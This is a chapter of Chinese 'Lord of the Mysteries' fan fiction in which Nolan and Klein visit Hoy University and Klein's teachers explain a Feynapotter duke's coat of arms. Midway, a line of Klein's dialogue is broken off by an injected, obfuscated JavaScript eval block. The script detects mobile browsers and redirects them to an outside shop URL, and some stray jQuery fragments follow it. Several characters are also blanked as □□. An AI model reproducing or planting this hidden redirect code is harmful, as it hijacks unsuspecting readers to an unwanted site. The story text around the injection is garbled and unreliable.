36.大学
作品:《天使归位指南【诡秘之主】》 拿好尺码合适的见习督察制服外套,诺兰三人正准备结伴离开黑荆棘安保公司,却恰巧又遇上了从地下返回楼上的邓恩·史密斯。
听完三人接下来的安排,邓恩轻笑点头,朝着克莱恩所在的方向,微抬起了右手。
“唰啦”一声轻响,一根一端缠绕在他右腕、另一端坠着一小截透亮黄水晶的银制链条灵摆,倏然垂落,在半空中悠悠晃荡,立时吸引了三人的目光。
“听老尼尔说,你或许会找我申领——”
邓恩顿了顿,温和一笑,用起了老尼尔常挂在嘴边的说法,接道:“占卜所需的‘制式装备’,我便直接从武器库给你领出来了。”
待克莱恩道谢接过黄水晶灵摆,邓恩见三人仍立在原地,没有动身离开的意思,便会意地轻咳一声,摆着手放人道:“我这边真没事了,你们可以走了。”
诺兰三人这才与邓恩告别,你一言我一语地商量着待会儿要去哪里采买哪些食材,气氛轻松融洽,一同走出了黑荆棘安保公司的大门……
午餐时,他们如愿享用了静修院比利大厨用费内波特大米精心烹制的迪西海鲜饭。
随后,伦纳德没有立刻返回值夜者据点,而是陪着米切尔老主事,在圣赛琳娜教堂附近的街道上散步去了。
诺兰见时间尚早,便问西拉修士借了一把安乐椅,邀请同样习惯午后小憩的克莱恩,一起回到了自己的园丁小屋。
克莱恩身为客人,本想主动去躺安乐椅,可诺兰没跟他客气,非要用猜拳来决定谁去睡床。
结果——
三局,三平。
竟神奇地没能分出输赢。
克莱恩最终还是被诺兰强行摁在了床上。
“这是我的地盘。”
诺兰左手施力,按住克莱恩单薄的右肩,不让对方起身推辞,态度忽然变得有些强硬,又补了一句:“我说了算。”
话音未落,他便卸力松开险些要跟自己同床共眠的小说主角,拿上一条粗棉布床单,转身快步走向安乐椅。
落座的同时,诺兰两手一抖,床单随之展开,他便裹着那条在夏日里主要用来避免蚊虫叮咬的粗棉布单,躺进了安乐椅中。
“安心休息吧,我睡眠浅但很规律,午休不到一个小时就会自然醒来,误不了下午去大学听讲座。”
诺兰闭上双眼,轻轻呼出一口气,对仍坐在床沿、没有下一步动作的克莱恩,随口交代道:“床上有没用过的干净布单,你随意盖就好,我都洒过驱蚊虫的植物香露了。”
说完,他打了个哈欠,双手叠放在小腹上,就此进入了小憩。
然而诺兰饭后入睡得太快,以至于他完全不知道克莱恩是何时脱下那件易被压出褶皱的正装外套,盖上粗棉布床单,静静躺下休息的……
下午两点半。
小憩后精神焕发的两人,搭乘经济实惠的轨道公共马车,抵达了绿树成荫的霍伊大学。
眼下正值暑假,又是一天中气温较高的时段,室外少见留校的师生。
这让第一次来到霍伊大学的诺兰,在克莱恩有一搭没一搭的介绍里,逐渐放松了下来,开始好奇地打量四周的一切。
这时,他们望见在医学院主楼后方的水泥路上,整齐停着一列车队,足足有六辆四轮马车。
其中既有外观朴素的轻型马车,也有车厢宽敞的中型马车,更有一辆车门上绘刻着醒目贵族纹章的豪华马车。
心形盾牌?
水纹?
麦穗?
还有居中那朵不知名的九瓣花,以及花下排成一线的三个圆点?
克莱恩眯眼仔细观察着那枚元素杂糅、又十分陌生的繁复纹章,一时竟无法将它与记忆里那些常见的鲁恩国内贵族纹章对上号,根本分辨不出到访的究竟是哪一家贵族。
他只能凭借车队的规模判断,对方至少出身于某个手握实权、财力雄厚的公爵家族。
注意到已有不少衣着体面的男男女女,正陆续从正门进入医学院主楼,克莱恩收回目光,掏出一只蔓枝花纹的银白怀表,“啪”地一声按开。
看了眼当前时间,他发现距离三点开场的讲座,只剩一刻钟。
于是,克莱恩收起怀表,领着还在好奇东张西望的诺兰·温特,凭邀请函步入了主楼的大讲堂。
他将人领到院方专为阿霍瓦郡警察厅代表安排的第四排坐席,随即环顾四周,意外看见霍伊大学的校长,居然也穿戴正式地亲临讲座现场,正认真检查、指导着各项准备工作。
而大讲堂最前方的三排座椅早已被悉数撤去,取而代之的是一片被微微抬高,并用鲜花隔出来的独立区域。
正中摆放着三张铺有暗纹桌布的小圆桌,配套的高背绒椅、银质茶具与鲜果甜点一应俱全。
一看就是为身份尊贵的宾客,专门预留的贵宾席。
诺兰留意到克莱恩神色间的诧异,便循着对方的视线,望向了讲台正下方的那片特殊坐席。
瞧着那一位位为了风度宁可硬扛暑气的礼服绅士与女士,他没忍住,难以共情地扯了扯嘴角,问克莱恩道:“看见熟人了?”
“不算熟,也不算陌生,穿铅灰色礼服的那位,是霍伊大学的现任校长。”
克莱恩敛眸转向诺兰,低声说出了自己的推断:“今天的讲座,极可能有其他国家地位不低的贵族出席。”
闻言,诺兰挑了挑眉,面上掠过一丝狡黠,含笑道:“我猜那一定是来自费内波特的贵族。”
克莱恩听诺兰说得如此笃定,不由得微蹙眉头,疑惑问道:“为什么?”
不等对方回答,他便顺着心中的猜测,当即追问道:“你认出刚才停在主楼后面那支车队所使用的纹章了?”
诺兰诚实地摇了摇头,摊手道:“连你这位霍伊大学历史系的毕业生都没认出,我又怎么可能认得出来?”
“不过放眼整个廷根市,目前最有可能以‘外国大贵族’身份出现在这里的——”
他提起手肘轻撞了一下克莱恩的胳膊,一对翠眸里闪着些许促狭的星芒,压低音量同对方耳语道:“不就只有中午才慷慨‘请’我们吃了迪西海鲜饭的那位‘费内波特贵族’老爷了吗?”
“我听伊芙院长说,向黑夜教会捐赠谷物的那位先生,是一位在国际上颇有名望的公爵,对方的头衔好像是——”
诺兰思索片刻,眸光忽然一亮,想起了街头小报里的种种描述,连忙接道:“如同塞维亚菊一般,为鲁恩带来快乐的‘塞维亚公爵’!”
若不是正巧涉及园艺里的常见花卉,他还真不一定能记住这样一位大贵族的头衔。
塞维亚菊的花语,正是“快乐”。
不过克莱恩心中却又因此有了新的疑问——
那位贵族所用的纹章上,虽然确实居中绘刻有一朵简笔九瓣花,但明显不是诺兰口中的塞维亚菊啊……
他还没来得及细想其中缘由,负责在会场内再次核对本次讲座来宾身份的□□,便手持一本登记册,迈步走了过来。
见状,克莱恩未再过多停留。
他同已经将邀请函递给那位□□核验的诺兰,简短道别,旋即提着手杖退出大讲堂,离开医学院的主楼,打算顺路前往霍伊大学历史系的办公室,探望自己的导师昆汀·科恩,以及对自己多有帮助的□□阿兹克·艾格斯。
所幸这次没有提前预约的临时拜访,并未落空。
克莱恩轻叩房门进入办公室,便见到私交甚好的两位老师,正为下午还要不要喝咖啡而争论着。
瞧见这熟悉又日常的一幕,他不禁莞尔,随即脱帽行礼道:“下午好,导师,阿兹克先生。”
“莫雷蒂?”
科恩显然没料到,上周五才匆匆碰过一面的学生,会在周二,也就是今天,再度来访。
他扫了眼着装更为体面的克莱恩,面露欣悦地开口道:“看来你真的找到了一份适合自己的好工作。”
“快过来坐吧,克莱恩,”肤色古铜的阿兹克,本就柔和的五官,旋而舒展出一个和煦的微笑,随口问道,“你今天怎么来学校了?”
“在工作中,我结识了一位在阿霍瓦郡警察厅担任见习验尸官的朋友,”克莱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294577|194694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恩没有立刻落座,噙笑解释道,“他受邀出席隔壁医学院本周举办的学术讲座,却从未来过霍伊大学,我便带他认了认路。”
“顺道过来看看您两位。”
他的目光悄然扫过办公桌上的两只空杯子,念头微动,再度开口道:“刚才进来时,我隐约听见两位在讨论,下午要不要喝杯咖啡提神,却又担心影响夜晚安眠?”
“而我这里恰好有一罐花草茶,既能缓解午后困顿,又不会妨碍夜间休憩,”克莱恩拿出离开教堂静修院时,诺兰执意让自己带走的那罐花草茶,他简要转述完对方的说法,继而弯眸提议道,“不如由我来冲泡,我们一同享用?”
闻言,阿兹克与科恩相视一笑,两人默契地扬了扬手,颔首示意克莱恩随意。
“器具还放在老地方,”阿兹克笑容和煦地提了一句,“你知道的。”
等待花草茶泡好的间隙,克莱恩向两位老师详细说起了他在医学院主楼外看到的那支豪华车队。
听到学生提及那枚元素杂糅却特征鲜明的贵族纹章,头发银白的科恩资深副教授,呵呵笑着为对方解惑道:“你的朋友猜得不错,那的确是费内波特王国塞维亚公爵的纹章。”
“但你误以为的心形盾牌,其实是迪西海湾较为常见的‘鸟尾蛤’,那种蛤蜊从侧面看去,便如一对合拢的羽翼,象征着守护。”
克莱恩恍然道:“所以纹章最下方才会有水纹状的……‘波浪’?”
阿兹克微微点头,接道:“而‘麦穗’,是信仰大地母神的费内波特贵族们,偏爱的纹章元素,象征着丰收与富饶。”
“至于你最关心的那个‘九瓣花’元素——”
科恩伸手接过克莱恩递来的茶杯,置于鼻下轻嗅了一下,登时舒眉展目,语气轻快地继续道:“那是自第四纪卡斯蒂亚家族建立费内波特王国起,便获封塞维亚公爵世袭头衔的斯普林家族,代代沿用的一种稀有睡莲科水生植物纹样。”
“各领域的学者们,基本都习惯将它称作‘塞维亚公爵莲’。”
科恩抿了一口清香甘甜的花草茶,续道:“根据留存至今的极少历史典籍中记载,它似乎源自传说中的西大陆,与大地母神教义里的‘生命循环’有关,只是没有更多实证可考,如今依旧是一个各方争论不休的历史谜题。”
“却足以看出斯普林家族深厚的历史底蕴,”阿兹克端着茶杯,温声插言道,“另外,克莱恩你还遗漏了一点——除了塞维亚公爵莲下排成一线的三个圆点,它左右两片花瓣上,也各有一个被简化成圆点的‘雨滴’元素。”
“是‘水滴’!”科恩忽然激动地强调道,“那些是象征‘生命源泉’的‘水滴’!我们绝不能抛开斯普林家族与大地母神教会的渊源,去片面解读单一的纹章元素。”
“关于这一点点分歧,”阿兹克语速平缓地向克莱恩解释道,“不止学术界,每一代塞维亚公爵对家族纹章内涵的解读,也多有不同。”
“他们之中,有人结合纹章最下方的水纹元素,将花上和花下的圆点,视作完整的‘水汽循环’,”阿兹克进一步讲解道,“花上两点代表降雨和蒸发的水汽,花下三点则代表渗入地下、汇入河海的水流,用以滋养麦穗、鸟尾蛤等万物,待水汽蒸腾凝结,自然便会再度化为降雨,重复这一循环。”
克莱恩不愿见到两位老师因自己随口一问再起争执,赶忙抢在导师科恩出声辩驳前,轻笑着打圆场道:“而循环中的‘水’元素,不正是这世间万物的‘生命源泉’吗?”
阿兹克瞬间领会了克莱恩的意图,转眸望向他的同事兼好友,温和让步道:“没错,这十分贴合大地母神教会的主张。”
师生三人又围绕第四纪历史畅聊了半个小时,终因一则通知科恩临时参加暑期会议的消息,遗憾地结束了交谈。
临分别时,阿兹克□□突然叫住克莱恩,平静问道:“你那位在警察厅担任见习验尸官的朋友,叫什么名字?”
克莱恩怔了怔,没有多想,下意识答道:“温特——”
他紧接着补全了朋友的名姓道:“诺兰·温特。”

